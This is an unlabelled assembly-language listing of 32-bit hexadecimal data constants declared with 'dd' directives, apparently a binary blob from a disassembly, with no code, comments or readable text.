dd 6D256E34h, 0E19A38ABh, 8026223Dh, 0A156A94Bh, 72F9151Eh
dd 0C96E038Eh, 27200AAAh, 4DF43180h, 97640C07h, 9010A245h
dd 605BB649h, 3BBF085h, 0AF007CE1h, 412289C8h, 10CE8Ch
dd 0BC38AAA6h, 0A1DF2B40h, 77EF7C01h, 29E22013h, 0FAB41081h
dd 20217DD0h, 0D90039A0h, 0FF5A1E0Fh, 8B8AAh, 0AD372266h
dd 4CB7326Ch, 750016FEh, 18F5A982h, 0F47B1AE4h, 0FAD1000Eh
dd 2F1B98C9h, 0CB0052B3h, 0EBC2D242h, 197BC4Fh, 19EC9F5Ah
dd 60538C24h, 0DBEE4725h, 990D0E00h, 96AE1617h, 0F27A00ACh
dd 123CECA0h, 0B01737BFh, 801C0F4Dh, 3B3E39h, 17C8E8B2h
dd 0F07CB624h, 0A1B40094h, 0A8638AF2h, 18C1A68Bh, 0E64AECC0h
dd 0DA24D0h, 17AB2F74h, 0D73FFE18h, 4057ED00h, 0B0E82533h
dd 86DD035Ch, 54CA6EE7h, 5D852ED8h, 7E480860h, 3CDA8h
dd 1F9B1AF4h, 4DFACBE0h, 3FF3DC07h, 0E3A012B8h, 92EC51h
dd 702DCF42h, 5D64E236h, 90D0F203h, 0DF9ECCA7h, 377FF5D0h
dd 7CA90F56h, 1C8FB5h, 441614ECh, 0B900FEDFh, 0DED6E6CFh
dd 7A65661h, 3FFCB712h, 62D41046h, 0BA053EF5h, 1C451D75h
dd 6C77B180h, 0F9F1013Ch, 43A31668h, 0CB76C00Bh, 9E42C900h
dd 0C6F4A238h, 0F9AE007Bh, 0E1448ABh, 94B0554Ah, 7074111Fh
dd 0CDE10A80h, 0B772F3h, 445B130h, 0A30594BEh, 0A6BCD801h
dd 0A02C47AEh, 0E62BE540h, 1ACC281Eh, 0D4B238CFh, 0C6050370h
dd 4A89464Dh, 80076BD0h, 8E843200h, 297BE8D8h, 9CEA019Dh
dd 0D4111FA3h, 69084057h, 3A001E47h, 983907E0h, 4409B1h
dd 0F6895E67h, 8BC120FEh, 7A016E00h, 586CA846h, 74B400D5h
dd 29627CAAh, 0A3797D02h, 68F79D00h, 5F6314DDh, 0B2D8005Eh
dd 0CDCBBF5h, 3A00A1D4h, 59B80D6Eh, 35DC1A7h, 8F10F024h
dd 0BFC871E4h, 90009682h, 9DC9F22Dh, 9233F4h, 42AD0281h
dd 437945F9h, 0DEFE4F0Eh, 0B6DE77Dh, 0A7EC9850h, 0A9A3007Ah
dd 0C229928Dh, 5100EE40h, 5F9B20F5h, 1F7CAB38h, 83454864h
dd 885B05C1h, 788AF088h, 0EC1AA300h, 0CB362749h, 52143026h
dd 0D7F09ED8h, 81E08A2Eh, 689BBC00h, 484D2BF9h, 0C4494C6Bh
dd 6199DE00h, 902A5BD9h, 0DD27681Eh, 0CE380039h, 0DAC833BCh
dd 5A161DF3h, 0E4DC4078h, 0B0F16514h, 5E624900h, 679E8061h
dd 7F5300BDh, 9B521D50h, 9C00F4ECh, 0A3EEE133h, 0B02D31h
dd 0FC51ACFAh, 9BA94532h, 747458h, 0DD17427Ch, 0A38B35h
dd 0E0B3EB8h, 1AD12AF6h, 400D6EEh, 4C8D16F4h, 7E45E1Dh
dd 0EA0B87B2h, 0F6F7700Ah, 92011E7Dh, 4ACE15E5h, 0EDEC952Bh
dd 0CCE950F1h, 8D761807h, 0B3C9184Dh, 8E5FD600h, 4E741F79h
dd 686848DCh, 9CA19B00h, 2D1E191Dh, 0DC2C9328h, 4267C912h
dd 8EC5400h, 0F6743EF3h, 0B08E7596h, 0A97D006Ch, 0E3F8CB87h
dd 161DC3E4h, 0EC3695Bh, 0A01E2A19h, 20C5E02h, 0DBDF82AAh
dd 4440EE16h, 0CF0F8569h, 8F42D801h, 0ECCC16Ch, 0DC47417Ch
dd 0E4E1A3A0h, 83F93BECh, 886D1180h, 0D66F231Fh, 3A16A003h
dd 0B0B4D3D1h, 374689h, 1C03013Dh, 579D098Eh, 0B6D9D600h
dd 0F743B148h, 8FF200F4h, 672FACF3h, 301ED8E1h, 0AEFC75h
dd 80AE117Dh, 11A4E419h, 0BB3D0083h, 26D6503Eh, 3C00499Bh
dd 0EF578108h, 124ACAh, 939888E0h, 41B7ED7Ch, 0D7D2BF00h
dd 53789991h, 621D396Fh, 19640580h, 26D98758h, 9FD55100h
dd 0F3F6A565h, 37FE0054h, 67E514AEh, 1138D3D9h, 0AFDE80ECh
dd 25DC2712h, 4ABC015Dh, 0F8E28C30h, 0E4B8404Dh, 6200801Ch
dd 1181ABFCh, 1277A86Ah, 7EC40BAh, 908FC7B0h, 5166E054h
dd 0D363810Bh, 24AC0025h, 0A0CB31D0h, 0CAECECh, 0BD3E1E49h
dd 5841C49Dh, 0F9A9E900h, 0F34CB1Dh, 0D6B11D62h, 9D89801Ch
dd 0AF4D7BECh, 4E23CD00h, 0E18FCA2Eh, 0A800A46h, 38D08EEAh
dd 7580A53Ah, 43B70D30h, 9500A6C6h, 88E3323Bh, 0A906BDh
dd 9A98F902h, 0EB97C892h, 0ED1FF51Dh, 11CDC7CCh, 59170149h
dd 0E2E59A79h, 0C9D040B9h, 0F08CD5F9h, 688B487Eh, 68649500h
dd 9FEDE349h, 0C7868E05h, 1C94412Ah, 5FF09F80h, 0A9B00E64h
dd 5680D17Ah, 0F9A85587h, 0EC0E3Fh, 0E5641314h, 38A4393Eh
dd 0AB072BB6h, 0F08909A5h, 73CD8D0Dh, 0F46A4800h, 6CAACC5h
dd 0FFBD00D5h, 0D039CB96h, 4D00E622h, 0ACBB3E86h, 300E60DAh
dd 0BE487A8Eh, 3600F40Fh, 0CF277C97h, 4A427Bh, 39715753h
dd 762F64D3h, 0E9BE8A00h, 0BCC13594h, 6C0B00FFh, 0C3599252h
dd 0C400D4DEh, 0B90F294Fh, 0CBC15Ch, 72426BDDh, 0FBCA6306h
dd 9445B800h, 0C861074Ah, 0E7AA00E5h, 646E7E47h, 4E162855h
dd 0EF0568ADh, 800E477h, 373C63AAh, 13EE0798h, 0C0B7AFD1h
dd 17121FE5h, 0EE8CF00h, 0C304EA90h, 7210024h, 0A7614ABh
dd 800047E0h, 9F209C89h, 3EB5115h, 16E2A866h, 5BE8391Eh
dd 0BB002153h, 4AB53593h, 13D27049h, 26029FEh, 0C2B379B1h
dd 8908D3C0h, 7A100B00h, 0F38785DFh, 5D7315CAh, 8110B868h
dd 93F78F07h, 80C0EF0Fh, 33748832h, 62170014h, 6E1E4373h
dd 0F800651Dh, 5D0EBEEDh, 0C2F9D9h, 75A54B05h, 2801D491h
dd 0FDF59803h, 0C8721A32h, 3ED81Dh, 53C8DEB9h, 0E2CBDA84h
dd 94173700h, 6D417908h, 990A5CC0h, 54878A07h, 64FD6045h
dd 0CD03E5A7h, 34C35CD5h, 9A100063h, 0B9729574h, 0BA01DB1Ah
dd 839993CCh, 7AE5F343h, 39E46BF5h, 187F14h, 96736EAAh
dd 7949FF2Dh, 7790AF0Fh, 116A80DFh, 0B94B41h, 4035271Bh
dd 6778842Dh, 0A688F907h, 9EB004BAh, 3FD60BFh, 0F809E2C6h
dd 6AA3DC22h, 0CD5C8780h, 31007CF0h, 917A1C13h, 3CD6A294h
dd 14804B4Dh, 0F5368927h, 680F6562h, 40927A6Bh, 7BF12D0Ah
dd 0F0820039h, 5FEA9C23h, 0FA00989Fh, 0FE3F09ADh, 9843F3B1h
dd 78AE000Eh, 33AF4845h, 0B7E06B4Eh, 0A2755B00h, 97D5966Dh
dd 0F1F71C26h, 54C001ACh, 818025ABh, 433E968h, 4BF8B5DBh
dd 871A396Dh, 0C04E961Fh, 0A92D0B79h, 4100507Bh, 0CF10B76Bh
dd 18B8EB0h, 24C61BD8h, 85C3EE0Bh, 0ADFCDF70h, 806F8100h
dd 0CD273Bh, 63FA9B1h, 3E93730Eh, 0A5978200h, 0B8AE558Bh
dd 91E60061h, 4DE28692h, 1E00BF6Dh, 2CA4A16Ch, 0F2FF81h
dd 0B70942BDh, 264DF0E7h, 294B9100h, 0CD6841E8h, 3E511D6Ah
dd 3FAF007Eh, 1C27608Ah, 49009D75h, 432295BFh, 20DA67Dh
dd 6770EDC3h, 63C11F05h, 0D3B080B7h, 538D5DDAh, 9DE7E4Dh
dd 8A5BCCD0h, 0E6108E00h, 0E20316CAh, 452CBB79h, 0C486809Eh
dd 52A4001Fh, 14389572h, 9407C5C3h, 22BE7F8h, 35D29B20h
dd 0C206181Bh, 5E3351ECh, 8CA93F0Bh, 0E6CE0362h, 89F1D84Eh
dd 3C540057h, 4F7AF672h, 6E01FF08h, 0E77745E5h, 36C00D35h
dd 330E1EFCh, 9C2D80A7h, 2BAA4BF5h, 0F4710B28h, 0D6602C00h
dd 1EAE6E03h, 88BB4987h, 53B6940Bh, 5D8C9A80h, 570F0423h
dd 0E31FA048h, 0E3E77F3Fh, 0A80F0060h, 40B5922Eh, 5E3A5CF2h
dd 9E68BF3Ah, 0E987A995h, 282077FCh, 58CFC1h, 0C63B35B7h
dd 0CCAEAA4Dh, 5242151Bh, 2F5FD910h, 78609DF9h, 6046036Bh
dd 0E5BE8303h, 0DCC6EEF8h, 0A2DAAE00h, 97EDC0D5h, 6BD21795h
dd 0BE00EF01h, 0CBCCB43Ch, 587F03E0h, 990FC17Ah, 0CAC370D7h
dd 401839Bh, 8E1A7805h, 0AA97610Bh, 5B8603CBh, 0F5D8F792h
dd 7600B090h, 7DAA6B99h, 5C64Bh, 782CFAEAh, 96AD8E54h
dd 0A2D3E600h, 277F7237h
dd 71380726h, 0E0AC4A29h, 81DC121Dh, 0B245A900h, 0D7C40F94h
dd 0BBAF04C8h, 0C0198AA0h, 917922BBh, 6F126E02h, 8034FE7Ch
dd 0F7A6A508h, 0D6C70098h, 944DC843h, 1001167h, 3C89AE2Fh
dd 9F9E4AD5h, 0E60E7F50h, 405DB460h, 0B8D9CAF6h, 744F00DEh
dd 84E41E48h, 2B003D91h, 8B95C418h, 0DC7F60h, 0A1A3C6F2h
dd 0E6A4BF16h, 0B21FC200h, 97ECC00Eh, 189F003Ch, 0D5D8A970h
dd 0EE381A89h, 0B34A9F02h, 83DCC700h, 1DEB1B8h, 98CB3E77h
dd 40F70464h, 5ACD5EBEh, 0A88DACA0h, 49B75218h, 8D6F011h
dd 5BA396F1h, 0F0FC6A1Fh, 1F8F7D00h, 6BB7A587h, 26E0712h
dd 209CC67Eh, 0E552019Ah, 7BEDCE00h, 0CF4508C2h, 0F4720232h
dd 4642719Dh, 0DC8F8E3h, 0A81E134Dh, 3C452F0Ch, 80EB14F4h
dd 163DCDC6h, 4E00C572h, 0CA836780h, 0E010032Ah, 98F6FAA2h
dd 0BE080055h, 2C8B6815h, 51FE46A8h, 8AEE1C00h, 0A69C3562h
dd 5EC0A0E4h, 70DF0055h, 31492545h, 8100D5D1h, 0D79E5404h
dd 180E9194h, 80C54268h, 77FA82BDh, 3952571Dh, 81CF2800h
dd 16F245Fh, 921DA217h, 40A687D0h, 0CD83ACEAh, 0F470B63Ch
dd 0C6EA5B07h, 0CAFE4626h, 0FF00EC9Ah, 0CEB7DA1Bh, 4A5F0010h
dd 7C91F681h, 0E43CFC7Dh, 81593A54h, 8A998584h, 79E87B98h
dd 4B2300E3h, 7D37B857h, 5624C270h, 0D2075839h, 6A005E1Bh
dd 0CADE86h, 0BA5C09D0h, 80E0BEBCh, 5D3FD61Dh, 3BC042DFh
dd 0C5D54911h, 55C71497h, 8D0308EFh, 1F804831h, 2140C689h
dd 190BFC58h, 98A6B900h, 73C3FB70h, 0C40D0051h, 3B0AF4BAh
dd 4A03D6FEh, 17460E42h, 0F7D2E0F6h, 4D900054h, 484E6EF3h
dd 2B1F6992h, 33AAA62h, 0A1B68F42h, 0FA8A88B0h, 0B79C0002h
dd 933EDF79h, 0A2003D54h, 0AA6E4B18h, 48239B62h, 253FC289h
dd 290010CCh, 86CC606Ah, 0A1008F30h, 115B63A6h, 73D97150h
dd 2E670B8Ch, 80FFAB7Bh, 55DB2999h, 0EA2B3A5Fh, 0FB7A4280h
dd 0CBDC7CE8h, 9FE43300h, 5B69DA04h, 6CEB00C4h, 4A7A44FCh
dd 3D0747D2h, 632083D6h, 0B0CBC6E0h, 118E00CCh, 0AFD00E34h
dd 0A0019DC7h, 95A5DE6Dh, 0A080E6B8h, 0D5ACAA3Ch, 29C032D2h
dd 0AEE389B4h, 16D10010h, 33836547h, 4E006D9Ch, 6CCAA854h
dd 2456928Eh, 0D01E8Ch, 91064B36h, 95093BFEh, 811138BCh
dd 0A0F68B5Ch, 0CA8720h, 3E487ADFh, 0EE5D3A3Ch, 0B34E4B03h
dd 7F5801FFh, 0AE2500D2h, 75BD732h, 0B200F296h, 0B03680D9h
dd 0AE690DCh, 228B78A1h, 8F7900ACh, 1ABFCBA2h, 0A9839F00h
dd 0BB9ABD64h, 267A1216h, 0B44409F2h, 3572EB80h, 0B0008B5h
dd 25180986h, 0FBEE27h, 5D8E4A58h, 0A11D3CCAh, 49CE5200h
dd 503DBCEFh, 88315159h, 39F61BDCh, 0CE0164B6h, 0ADE5A8D5h
dd 0F867D55Dh, 801FCC87h, 0AA55959Ah, 0E5C900A8h, 0F9930F4h
dd 72B009D0h, 4C10A6B2h, 1373F955h, 99A54600h, 27FCA87Bh
dd 420C0088h, 0CC763515h, 0C900622Ah, 0F27C9BADh, 0EF09ADBh
dd 6F3370AAh, 0E3E42280h, 0B300266Ch, 49A5F7B9h, 18EE0CDh
dd 6270CED5h, 0F476E880h, 3400C49Dh, 61682498h, 7328D8h
dd 0C2B10E81h, 980DD2Fh, 146A2260h, 0EA7417B0h, 26FD0E4Dh
dd 0A2A137A3h, 0BD054A32h, 5B7002D8h, 0E0C81609h, 77AED0h
dd 0D2180B69h, 75A453B4h, 0BE558F00h, 95BDDE3Ah, 0AA60052Ah
dd 1DE0826Bh, 1355308h, 92034E16h, 2BDC2032h, 0B8C52700h
dd 0C761FFABh, 95150021h, 0E5184C0h, 0AD58D8F4h, 0CD20028Ch
dd 0E25DC98Ah, 6604A143h, 9ED8C6BDh, 213F031Dh, 9CE84B06h
dd 0E0D57490h, 0FD3E170Ch, 3F868C3h, 0EF288AD7h, 0F9D058AEh
dd 0C4B2C75Dh, 68167074h, 1400082Ah, 0D81242FCh, 0A64F0A72h
dd 2AA49C28h, 0C6023DE8h, 38DC5499h, 0D988E495h, 0E466ED24h
dd 3C5D5803h, 0F021F87Dh, 0BE491D0Ah, 65C4C019h, 0CAF28F17h
dd 0FD62E201h, 0AED1920Dh, 17F8020h, 873A25Eh, 0DC25C6BFh
dd 4A0041FEh, 87F3DFC2h, 0AA68C8h, 0D339F73Bh, 0D132E6FFh
dd 1438A549h, 88802D45h, 7ED28EBCh, 0B8942CA0h, 9EFE8A98h
dd 809F4A3Eh, 0B390BC93h, 0F41ED512h, 682B0019h, 785EF0E4h
dd 0BE033386h, 9A4010B7h, 160157Eh, 1F167015h, 0E3E800A9h
dd 0B9144DAFh, 8500A57Dh, 12F5ABCBh, 58C53FEFh, 6F2C5C56h
dd 47700F1h, 0C3A1D453h, 0A4235828h, 0E0F58024h, 0B9341380h
dd 479B8Ah, 94FFEE43h, 4B9277F4h, 3DABCE06h, 0E590A85Dh
dd 0B3CCF0CFh, 0D832004Ah, 49D0CDD3h, 0AB0C378Fh, 0B0712E85h
dd 14191418h, 8E0DD0E5h, 0EC19DF01h, 41076575h, 61DEAB44h
dd 8E960C91h, 0F9002433h, 71A33AF2h, 27245879h, 9600B813h
dd 6948302Dh, 4A800CB3h, 24B0E187h, 1F9ED200h, 1AC684A2h
dd 60B100CDh, 313C12E5h, 0A5065E7Ch, 217C130h, 0F839E6B9h
dd 26240B82h, 8802F3Bh, 1B882CC5h, 42540B00h, 9747679Ch
dd 3ADEE84h, 0E908C6C2h, 50003ADCh, 0C8E39144h, 7995719h
dd 6F7278BCh, 9773F3C6h, 0CD1E70E8h, 58ADB07h, 11A0F1C2h
dd 3F6CA2h, 75D0D406h, 25DDCB5Dh, 0D3923Ch, 706EC5E5h
dd 0D6CCE6h, 1B49322Eh, 0B1E42CF4h, 2FF86B00h, 4522E305h
dd 357210h, 1DFB7279h, 0E103D164h, 0CA6A200h, 2778063Eh
dd 0E0677381h, 0FF0400DBh, 0F26558BFh, 7D030CABh, 0D2F94080h
dd 0B35A8855h, 0ED0D3E5Bh, 0E67EC500h, 36971D29h, 6A13877Dh
dd 0D000EAA3h, 0B1F8DA40h, 418900E5h, 3429FA35h, 1158B3B2h
dd 2FDD00CBh, 0BB2618A3h, 814E005Ch, 66FFBFECh, 631CEE88h
dd 0F68099C9h, 4758BB85h, 51B60061h, 0A5BA5DF7h, 320B8B77h
dd 802F9A3Bh, 0BFF09C70h, 69E20417h, 8001DB22h, 403C09C5h
dd 9B939F0Eh, 0EB7940DFh, 692DCCh, 4DAC4410h, 0BBE85F17h
dd 183D8F00h, 76DFF874h, 8A6C0953h, 4407C0EBh, 1503000Bh
dd 0E775847Fh, 20A04Dh, 828E7E96h, 2C215DFAh, 0CE315AEh
dd 0E521051Fh, 775EF900h, 0FE434B4Fh, 0E6DE1E8Ch, 13DC80E3h
dd 6F0D54CCh, 9C532600h, 8333503Ah, 0B091006Ch, 40ACEAC8h
dd 0B9006625h, 488E51DEh, 1041B2h, 0CBC2C124h, 853634D9h
dd 6E19FB1Fh, 0E7C75F40h, 0E47084h, 792B644Ah, 4D30BD77h
dd 0B37BEE01h, 7EDF430Fh, 0CB8C20h, 0E361F307h, 0BEE6B5D4h
dd 508AD300h, 4408B330h, 2BCC1FCEh, 5F394207h, 0BC40E86Ch
dd 0B80E1312h, 9E8DF171h, 347A5B00h, 0FA9369F9h, 23F7089h
dd 11D01A76h, 0C8605810h, 3D0FA81Bh, 0CB697823h, 0D10C0187h
dd 0A07FE529h, 0F7F8AB16h, 6D92C000h, 0F4B6CC1Bh, 75C20E78h
dd 1E295613h, 0EC8964A2h, 0A773A923h, 0D3E9C290h, 0F50D0062h
dd 98405706h, 0AB0053A4h, 769BA7F2h, 90DAF72Eh, 28541E19h
dd 8F084055h, 6CAA8034h, 0CB00CC98h, 87674A40h, 32356979h
dd 8871D0A5h, 4CC95810h, 0E1079CA8h, 371643C1h, 50B7B72Dh
dd 0C5D46EAEh, 0E301D272h, 41817AB3h, 0DC4165D1h, 1C21FBC9h
dd 42806C73h, 0B018135Ch, 8711DB3Ch, 0E4F127F3h, 0F55305A0h
dd 1D8E2C92h, 1C2648h, 683BF7D6h, 8500D00Ch, 1053EE75h
dd 1C8D3E3Dh, 0C098B57Dh, 1E51196Fh, 56EAA1E7h, 9A21D89Ah
dd 9739018Eh, 0FC7A9BFCh, 8A0F17B6h, 60945A95h, 2D19D71h
dd 5D011D03h, 4860D870h, 398915B8h, 0E1018476h, 12326688h
dd 0A1942491h, 0A7F0DDEEh, 8B00B472h, 1B35E786h, 59B56CADh
dd 9E1FD023h, 1F7440CFh, 0A14A12FEh, 0F4555603h, 0C1D4A9h
dd 0F6110548h, 0CB8EC873h
dd 0ACA3DE26h, 531A3702h, 0DDAC8564h, 74439780h, 0CA58E1h
dd 0A5D220Ch, 2A00D760h, 99EE26A6h, 7A1C3402h, 9DF91E2Ch
dd 6AB9407Ch, 0B51340BCh, 1D5C02E2h, 0CC3801C8h, 0B9193DDDh
dd 0FCD5F0h, 6090333Ch, 119691A8h, 0DEB15A1Ch, 4D4B55DEh
dd 0A5400135h, 87FCB9AAh, 88231244h, 43E01D3Fh, 1758D471h
dd 0B11A2009h, 62D8C167h, 76149FE0h, 170B71DFh, 404D3ED6h
dd 0C754B404h, 0F002CC1h, 568759FCh, 0B826C009h, 0BD67009Ch
dd 0D4EAC350h, 8F27D7B6h, 0CA47614Fh, 0FE86CE20h, 2EA10080h
dd 0DC75A2CBh, 0B858A565h, 9C9500E4h, 0C5428733h, 3D7E6E7h
dd 5C224CE1h, 4DEA6D27h, 0F5007446h, 0B5DC7260h, 1D1F352h
dd 30CBE820h, 208A09B0h, 88017814h, 0F69D21CDh, 6DE46F29h
dd 0DB130098h, 6991579Ch, 40161E7Eh, 0A6002B2Eh, 86AC4601h
dd 0A41158A2h, 0D1D69500h, 303A4C5Bh, 450F9C00h, 94206BFh
dd 0A2E207A5h, 804D1497h, 0E12CB8CAh, 0AA6E5E01h, 0A405C9EEh
dd 2EACED8h, 355C4C50h, 446096B8h, 810FFB7Ah, 0E0F61940h
dd 0A061B022h, 107E27h, 54AE7292h, 0E34F0FEBh, 52FB8A1Dh
dd 84006852h, 0D83AF036h, 2E6C00C8h, 61D914A8h, 0B600AE37h
dd 0F4904BDEh, 0B2867Fh, 3343F2DAh, 3E9A3CABh, 0A32BDF03h
dd 3E2D951Dh, 208052E8h, 51B86DBFh, 0A9005C2Fh, 0BA63B122h
dd 3F4E353Fh, 0E500E4AFh, 7A920BEEh, 6E15F624h, 3C084F40h
dd 6A568174h, 0CCC3F081h, 3C7668E8h, 47780F3h, 0EA650DF1h
dd 6BC480FDh, 0C8010CAAh, 1AEEBD6Fh, 1DE05530h, 0F72A0901h
dd 0D82062F1h, 907E8EE2h, 0DE3AD900h, 7D998027h, 0C2A23F6Ah
dd 0ACC94E80h, 0F8C70483h, 8F1E2Dh, 6D449A74h, 0B517003Ch
dd 8AB7E52Dh, 4900E6D6h, 0D5C1105Dh, 0A29383h, 0C55A4889h
dd 88CF29FBh, 26F4E709h, 36EC804Fh, 0EAFC28Ch, 835674EBh
dd 0C11B8605h, 0D44ABF60h, 72EA0D34h, 0F15D7C00h, 62A3C373h
dd 7BD269Ah, 0E8320325h, 0C49351A1h, 0BCAB8FB0h, 6523D400h
dd 0D284CCB4h, 25F07E0Eh, 14002934h, 0B9A0C299h, 8895A10Bh
dd 11A0212Ch, 403476F7h, 0BA1707B2h, 60015083h, 8EC04385h
dd 5D6FCA00h, 0C18FA72Ah, 0C9C63BF2h, 0A6A12C00h, 7DCFDF7Eh
dd 0B5185B01h, 0D1897868h, 0E6E430h, 0DA936A1Ah, 675C4E0Ah
dd 3A009498h, 72AE24C7h, 0B26D47E6h, 15ED0028h, 4C7ABFCFh
dd 0F31F9957h, 0AF03228Dh, 0E19F2F05h, 1090234Eh, 24C407B5h
dd 20FC06C5h, 0B6221C8Ah, 3A62CFE8h, 2CF62B00h, 209A04C8h
dd 2181EA0Dh, 23E0803Bh, 16AC7679h, 0DC20BA0h, 0C0290A24h
dd 0E374D13h, 0D5805084h, 0E844C2h, 0BE1A6D4Ah, 829758Eh
dd 8897B700h, 190CBF51h, 6D5F0C0h, 9B4E8BDCh, 6D009862h
dd 43613C76h, 249736A3h, 3B74D52Fh, 0FCBFE700h, 0E3563015h
dd 0B4530900h, 5966A29Bh, 0D2AD072Ah, 11D6D8CBh, 2084DA71h
dd 0CD07C77Ah, 2F916B75h, 0FA30D080h, 472F63Eh, 0B4BEB73Dh
dd 658815Bh, 0DFC6F0AFh, 86EA337Ch, 1F2D3B00h, 8A374907h
dd 4B18C40Ah, 230880EDh, 4E6D73BEh, 31D02038h, 68B75932h
dd 4C522900h, 563C6A59h, 48C12E78h, 392A26AFh, 0B60C28BEh
dd 4C182CEFh, 8862851h, 414ED6E8h, 2F43481Eh, 306CF70Bh
dd 0B6213F08h, 2002BF9h, 5E94EB24h, 0B8FA34D4h, 39062E01h
dd 4228034Fh, 1000DB20h, 0BF1536BCh, 0AE07B3h, 0CE6F8950h
dd 0A297B667h, 0D6CB3A00h, 0E1339668h, 0EF911C61h, 7AC380B9h
dd 85ED1CC1h, 3B7E8A00h, 0D34DCE51h, 5A670064h, 8E980182h
dd 6B03260Fh, 939DF344h, 0D8949339h, 0B2E1A0h, 67D1701h
dd 0EEE76BC3h, 0B84AA400h, 0B3D7DA7Ch, 0D57C8Ah, 9A22543Dh
dd 72857A49h, 3C06F807h, 6E00A4ECh, 0E9B1C4h, 0FB13A604h
dd 0CB2B0B1Ah, 21AC08CCh, 30F04CD3h, 54766A03h, 1800AE0Dh
dd 3A75F115h, 0BA77E6h, 34812E23h, 0FDC787BBh, 2D11800Fh
dd 0A700DFB4h, 3E89C106h, 720B0C05h, 0F1589A46h, 0F60023F6h
dd 0C5BB3599h, 6CBA76h, 0C0E7FC19h, 0A31A689h, 0C4717260h
dd 605FB42Ch, 22395014h, 0A522AA3h, 3091F268h, 0E23E9F6Ch
dd 78270CAEh, 1F98786Dh, 0F076436Eh, 0D8209128h, 0BF01CF72h
dd 87FA2812h, 34D02B7Ah, 0FF20C069h, 0BA20CFD1h, 1B17A258h
dd 0CA506E99h, 0AEC10003h, 6B40A77h, 0B495D601h, 0FAC02B65h
dd 0D9A30197h, 0CBAE018Ch, 9216CC2Eh, 77715500h, 0E9321EF6h
dd 21BA00DBh, 0A2A73323h, 443D818Bh, 0A4798B10h, 22A50736h
dd 0B33E803Fh, 646C59DAh, 8713080Eh, 0CFB2D0A7h, 0C39FFFD0h
dd 8CF0F7C0h, 168FE795h, 0EF2D71h, 958C239h, 6C004E59h
dd 5247E596h, 28DAC138h, 0C0EC33CDh, 5AD6DB68h, 42075813h
dd 0EEE38D88h, 0F3858050h, 0D130C086h, 5E48FDA5h, 0B300F075h
dd 8C1342EFh, 53C428EDh, 109620E8h, 458020F7h, 29B3F383h
dd 58144A00h, 0EE3359D5h, 9211019Eh, 945D7FCCh, 3D089804h
dd 37CAF9h, 0A55E3E9Eh, 77D00AFBh, 0EC0A99FEh, 24B128B3h
dd 2A9EE980h, 867E9492h, 0C93944h, 9CD09E36h, 4AF62592h
dd 0FB97321Dh, 54DBEC80h, 0A3588402h, 0A0BF9BB0h, 0C0D4F8C3h
dd 56617511h, 1D0C5C3Bh, 95BC737h, 2080FDD2h, 4C542915h
dd 830627B1h, 1ADB2590h, 0B78E0299h, 0EC1DF055h, 0BF138C80h
dd 1060FF5Fh, 2D12C720h, 48526F23h, 72F07900h, 0A7E2ECB7h
dd 0BAD4DE38h, 0D56960A4h, 73FFC8h, 655E687Dh, 0D124E21h
dd 404560C4h, 1148EE27h, 0FB614844h, 0A2D1E973h, 6E443058h
dd 73C11F19h, 0CC8CC9F5h, 0F1C6ED80h, 20C25D4Dh, 443FEC20h
dd 0D5E32048h, 9E24A3Dh, 2FAEC9C4h, 393477Bh, 860F3567h
dd 81280A6Ch, 0F2183748h, 0ECB17208h, 4050C49Ch, 4473FA1Eh
dd 34100045h, 0E29730BDh, 0EE00D348h, 0D1C3E4D8h, 1013DB6Ah
dd 0DAB069h, 0F092B138h, 197D4ED0h, 81E3917h, 62180C0h
dd 1A249229h, 3A2B0046h, 7DEF8FD4h, 0A0C8D8FBh, 72F1C036h
dd 0E456ECB0h, 0B0BC2AC8h, 73F90300h, 0C3153260h, 23718EBh
dd 18D980Fh, 0ABA1183Bh, 950506Bh, 5EE0F7h, 0FF89BFA8h
dd 8E21C817h, 0C5F67809h, 0FA54110Bh, 54042E18h, 36C55CEEh
dd 1820E832h, 39935416h, 0B78C2782h, 0F9E94322h, 0AE905BE8h
dd 0D6CA1F07h, 0F01AF862h, 0D4B65880h, 0EAAF3C65h, 5CBC280Fh
dd 173F81Ch, 24FF76ECh, 8A6F5DBEh, 0CC16E719h, 429D1811h
dd 6D0F792h, 28FD071Ch, 0F1DCB992h, 22027C03h, 36523F4h
dd 8C7D9E3Ah, 9167FEAh, 0CE9E23D6h, 3F3D4083h, 431D9179h
dd 0ADC7E8BDh, 0B0518163h, 8C708705h, 0A02707A4h, 0E072DAAAh
dd 0E22DDF65h, 80E0712Ah, 0D2495B00h, 7047D975h, 0D60C0057h
dd 7168311h, 8000693Fh, 0E0C37736h, 0AF9E1A6h, 0C659BC70h
dd 567AC0CCh, 25215C3Ah, 0EEE9135h, 23542214h, 818BD4BBh
dd 61EA5E4Dh, 40C24B64h, 9BED6028h, 84D57078h, 956AD8E8h
dd 23117039h, 2D73FE80h, 6442FCD1h, 73C41AC0h, 4600813Bh
dd 91427E10h, 9823BF17h, 515D326Ch, 3B302A98h, 8C60349Eh
dd 0D34C7090h, 0E7019E30h, 5EBBCF3Ah, 0B4514B82h, 9857DEF0h
dd 8E270670h, 0F37F0080h, 0F434B4D3h, 1103A6E6h, 9542BF1Dh
dd 56700912h, 2029C68Dh, 8841AC0Dh, 87B38B18h, 0B6F580D8h
dd 18916948h, 941805D1h, 0A1E0D770h, 0FA17F271h, 8E1FD174h
dd 0C740873Fh, 0D7804E8Dh, 1AF8682h, 6530C334h, 86CB0239h
dd 643D5849h, 91881FA1h
dd 0C07D1FA2h, 84A7C082h, 5C71CE0Ch, 0D3FB4A00h, 7EA7901h
dd 96E600C6h, 2D3B8318h, 0BC038C7Ah, 105D237Eh, 818FA105h
dd 8CC43820h, 0F0567C02h, 1637555Ch, 54241A16h, 738E8400h
dd 1E5C9B17h, 0E6C03D02h, 63F8442Ch, 5C04E810h, 223443F5h
dd 181E00E9h, 28706B54h, 0DB63F036h, 0F004FD39h, 506E2D07h
dd 8C2EBCFCh, 0F192BA04h, 0EC6256D0h, 1207D4A0h, 20072AFh
dd 6DC8475Bh, 2930652h, 885EA2A1h, 0E89FDB09h, 62D5ED08h
dd 0B8405387h, 6600A14Ah, 0B3C878E7h, 1DD8E954h, 182FBD35h
dd 5E55E1D1h, 0DA819514h, 1242338h, 0D103AF2Ch, 806C3366h
dd 6D9264F9h, 28AD1E96h, 7536C021h, 0B25B9BAEh, 5F87CA01h
dd 0D8054489h, 0DCCFC044h, 1FC05388h, 54F676A5h, 7A0C025h
dd 280B92EBh, 0A98630DFh, 36013789h, 0DA804643h, 4473EA23h
dd 0FD002223h, 0C4D12C73h, 2F8085A4h, 0AB4B73CBh, 0C6C905Ch
dd 1DF1C82Eh, 0DD3B2079h, 5DB8500Dh, 374DF900h, 0C49D3339h
